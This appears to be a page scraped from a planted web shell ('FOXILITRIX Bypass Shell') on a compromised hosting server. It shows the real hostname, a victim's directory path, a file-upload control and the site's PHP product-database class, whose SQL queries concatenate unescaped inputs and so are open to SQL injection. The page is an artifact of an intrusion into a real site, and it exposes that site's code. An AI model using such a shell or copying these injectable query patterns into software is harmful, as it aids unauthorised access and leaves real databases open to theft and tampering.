FOXILITRIX Bypass Shell

echo"
FOXILITRIX
";
Current Path : /home/baheco/public_html/adm/clases/datos/

Linux sd-1582531-l.dattaweb.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Upload File :
Current File : /home/baheco/public_html/adm/clases/datos/datos-producto.php

<?php 

	include_once 'conexion.php';
	include_once(dirname(dirname(__FILE__)).'/modelo/producto.php');	
	
	class DatosProducto
	{
					
		public function obtenerProducto($id)
		{
			//Se realiza la coneccion con la base de datos
			$conexion = new ConexionBaseDatos();
			$link=$conexion->conectar_base();
						
			//Se realiza la consulta 
			$query= 'SELECT * FROM `producto` WHERE `id`="'.$id.'"';
			$resultado=mysqli_query($link, $query) or die('Consulta falida: '.mysqli_error($link));
			$producto= new Producto();
			while(($row = mysqli_fetch_array($resultado))!=NULL)
			{
				$producto->setId($row["id"]);
				$producto->setNombre($row["nombre"]);
				$producto->setDescripcion($row["descripcion"]);
				$producto->setOrden($row["orden"]);
				$producto->setImagen0($row["imagen0"]);
				$producto->setImagen1($row["imagen1"]);
				$producto->setImagen2($row["imagen2"]);
				$producto->setImagen3($row["imagen3"]);
				$producto->setImagen4($row["imagen4"]);
				$producto->setImagen5($row["imagen5"]);
				$producto->setImagen6($row["imagen6"]);
				$producto->setImagen7($row["imagen7"]);
				$producto->setImagen8($row["imagen8"]);
				$producto->setImagen9($row["imagen9"]);
				$producto->setImagen10($row["imagen10"]);
				$producto->setImagen11($row["imagen11"]);

			}

			return $producto;
		}

		public function obtenerTodos()
		{
			$lista = array();

			//Se realiza la coneccion con la base de datos
			$conexion = new ConexionBaseDatos();
			$link=$conexion->conectar_base();
						
			//Se realiza la consulta 
			$query= 'SELECT * FROM `producto` ORDER BY `orden` ASC';
			$resultado=mysqli_query($link, $query) or die('Consulta falida: '.mysqli_error($link));

			while(($row = mysqli_fetch_array($resultado))!=NULL)
			{
				$producto = new Producto();
				
				$producto->setId($row["id"]);
				$producto->setNombre($row["nombre"]);
				$producto->setDescripcion($row["descripcion"]);
				$producto->setOrden($row["orden"]);
				$producto->setImagen0($row["imagen0"]);
				$producto->setImagen1($row["imagen1"]);
				$producto->setImagen2($row["imagen2"]);
				$producto->setImagen3($row["imagen3"]);
				$producto->setImagen4($row["imagen4"]);
				$producto->setImagen5($row["imagen5"]);
				$producto->setImagen6($row["imagen6"]);
				$producto->setImagen7($row["imagen7"]);
				$producto->setImagen8($row["imagen8"]);
				$producto->setImagen9($row["imagen9"]);
				$producto->setImagen10($row["imagen10"]);
				$producto->setImagen11($row["imagen11"]);

				array_push($lista,$producto);
			}
			
			return $lista;
		}

		public function crearProducto($producto)
		{
			//Se realiza la coneccion con la base de datos
			$conexion = new ConexionBaseDatos();
			$link=$conexion->conectar_base();
						
			//Se realiza la consulta 
			$query= "INSERT INTO `producto` (`nombre`,`descripcion`, `orden`) VALUES ('".$producto->getNombre()."', '".$producto->getDescripcion()."', '".$producto->getOrden()."');";
			$resultado=mysqli_query($link, $query) or die('Consulta falida: '.mysqli_error($link));
		}

		public function ultimo()
		{
			//Se realiza la coneccion con la base de datos
			$conexion = new ConexionBaseDatos();
			$link=$conexion->conectar_base();
						
			//Se realiza la consulta 
			$query= "SELECT MAX(id) AS id FROM `producto`";
			$resultado=mysqli_query($link, $query) or die('Consulta falida: '.mysqli_error($link));
			while ($fila = mysqli_fetch_row($resultado))
			{
		        return $fila[0];
		    }
		}

		public function editarProducto($producto)
		{
			//Se realiza la coneccion con la base de datos
			$conexion = new ConexionBaseDatos();
			$link=$conexion->conectar_base();
						
			//Se realiza la consulta 
			$query= "UPDATE `producto` SET `nombre`='".$producto->getNombre()."',`descripcion`='".$producto->getDescripcion()."',`orden`='".$producto->getOrden()."' WHERE `id`=".$producto->getId();
			echo $query;
			$resultado=mysqli_query($link, $query) or die('Consulta falida: '.mysqli_error($link));		
		}

		public function editarImagen($id,$campo,$valor)
		{
			//Se realiza la coneccion con la base de datos
			$conexion = new ConexionBaseDatos();
			$link=$conexion->conectar_base();
						
			//Se realiza la consulta 
			$query= "UPDATE `producto` SET `".$campo."`='".$valor."' WHERE `id`=".$id;
			$resultado=mysqli_query($link, $query) or die('Consulta falida: '.mysqli_error($link));		
		}

		public function eliminarProducto($id)
		{
			//Se realiza la coneccion con la base de datos
			$conexion = new ConexionBaseDatos();
			$link=$conexion->conectar_base();
						
			//Se realiza la consulta 
			$query= "DELETE FROM `producto` WHERE `id`=".$id;
			$resultado=mysqli_query($link, $query) or die('Consulta falida: '.mysqli_error($link));
		}
	}	
?>

bypass 1.0